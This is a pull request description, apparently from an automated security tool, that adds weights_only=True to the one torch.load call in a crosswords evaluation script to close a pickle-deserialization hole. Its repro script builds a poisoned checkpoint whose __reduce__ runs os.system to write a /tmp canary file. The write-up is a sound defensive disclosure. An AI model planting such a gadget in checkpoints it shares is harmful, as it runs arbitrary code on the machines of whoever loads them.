Guard the only torch.load with weights_only=True

[EvolveAegis]

This PR passes weights_only=True to the single torch.load in the repo, so reloading an edge-logits checkpoint can't trigger pickle deserialization.

The sink

experiments/crosswords/evaluate.py:39 (HEAD c23a827f561c934ce21dd950408f7606aa4a8821):

swarm.connection_dist.load_state_dict(torch.load(f"result/crosswords_Jan15/{experiment_id}_edge_logits_{int(epochs * len(test_data) / batch_size) - 1}.pkl"))

This is the only torch.load in the repo (grep -rn "torch.load" across the tree returns this one hit) and it passes no weights_only. pyproject.toml:65 pins torch = ">=2.1.0, <=2.2.2"; every version in that range defaults weights_only=False, so the call resolves through pickle's Unpickler, which honors REDUCE/GLOBAL opcodes. A checkpoint whose payload defines __reduce__ runs at load time, before load_state_dict/realize()/evaluate. weights_only=True only became torch's default in 2.6, above the pinned ceiling, so on the shipped dependency set (any torch < 2.6) the line is unguarded.

Scope

This is a deserialization-hygiene fix (CWE-502), not a claim that the training loop can be subverted. The loop's own REINFORCE output is gradient-bounded floats with no __reduce__ channel, so the repo's own training cannot self-poison this checkpoint. The exposure is adopting a checkpoint from elsewhere — a shared "pre-trained" .pkl, a results dir written by someone else, or a model-zoo artifact dropped into result/crosswords_Jan15/. weights_only=True is free for legitimate numeric state and closes the gadget.

Repro

Verified on the pinned torch 2.2.2 (Python 3.9). The script writes a poisoned checkpoint to the loader's computed path and exercises the exact load_state_dict(torch.load(path)) shape from evaluate.py:39.

python - <<'PY'
import os, time, torch

# Neutral nonce.
nonce = f"wo_{int(time.time())}_{os.getpid()}"
canary = f"/tmp/canary_{nonce}"

# Poisoned checkpoint shaped like the repo's edge-logits checkpoint.
class PoisonedStateDict(dict):
    def __reduce__(self):
        return (os.system, (f"echo hit > {canary}",))

# Mirror experiments/crosswords/evaluate.py:39 — the only torch.load in the repo.
# With experiment_id="experiment1", epochs=1, len(test_data)=100, batch_size=4
# the index formula evaluates to 24, matching the crosswords evaluate script.
experiment_id = "experiment1"
epochs = 1
len_test_data = 100
batch_size = 4
ckpt_index = int(epochs * len_test_data / batch_size) - 1   # == 24
ckpt_path = f"result/crosswords_Jan15/{experiment_id}_edge_logits_{ckpt_index}.pkl"
print("computed checkpoint path:", ckpt_path)
os.makedirs(os.path.dirname(ckpt_path), exist_ok=True)
torch.save(PoisonedStateDict(), ckpt_path)

# Stand-in for swarm.connection_dist: the gadget fires inside torch.load,
# before load_state_dict is reached, so a trivial stub mirrors the sink.
class FakeConnectionDist:
    def load_state_dict(self, state):
        return state
swarm = type("S", (), {"connection_dist": FakeConnectionDist()})()

print("torch:", torch.__version__)

# current default (weights_only=False on the pinned torch <=2.2.2)
if os.path.exists(canary):
    os.remove(canary)
try:
    swarm.connection_dist.load_state_dict(torch.load(ckpt_path))
    print("default: torch.load returned without error")
except Exception as e:
    print("default load raised:", type(e).__name__)
print("canary after default load:", os.path.exists(canary))           # -> True

# after this PR (weights_only=True)
if os.path.exists(canary):
    os.remove(canary)
try:
    swarm.connection_dist.load_state_dict(torch.load(ckpt_path, weights_only=True))
    print("safe: torch.load returned without error")
except Exception as e:
    print("weights_only raised:", type(e).__name__)
print("canary after weights_only load:", os.path.exists(canary))      # -> False
PY

Observed on torch 2.2.2:

computed checkpoint path: result/crosswords_Jan15/experiment1_edge_logits_24.pkl
torch: 2.2.2
default: torch.load returned without error
canary after default load: True
weights_only raised: UnpicklingError
canary after weights_only load: False

Changes

• experiments/crosswords/evaluate.py:39: add weights_only=True, map_location="cpu" to the torch.load call.
• Optional follow-up: bump the pin to torch>=2.6 (which defaults weights_only=True), or write shareable checkpoints as safetensors so there's no pickle channel at all.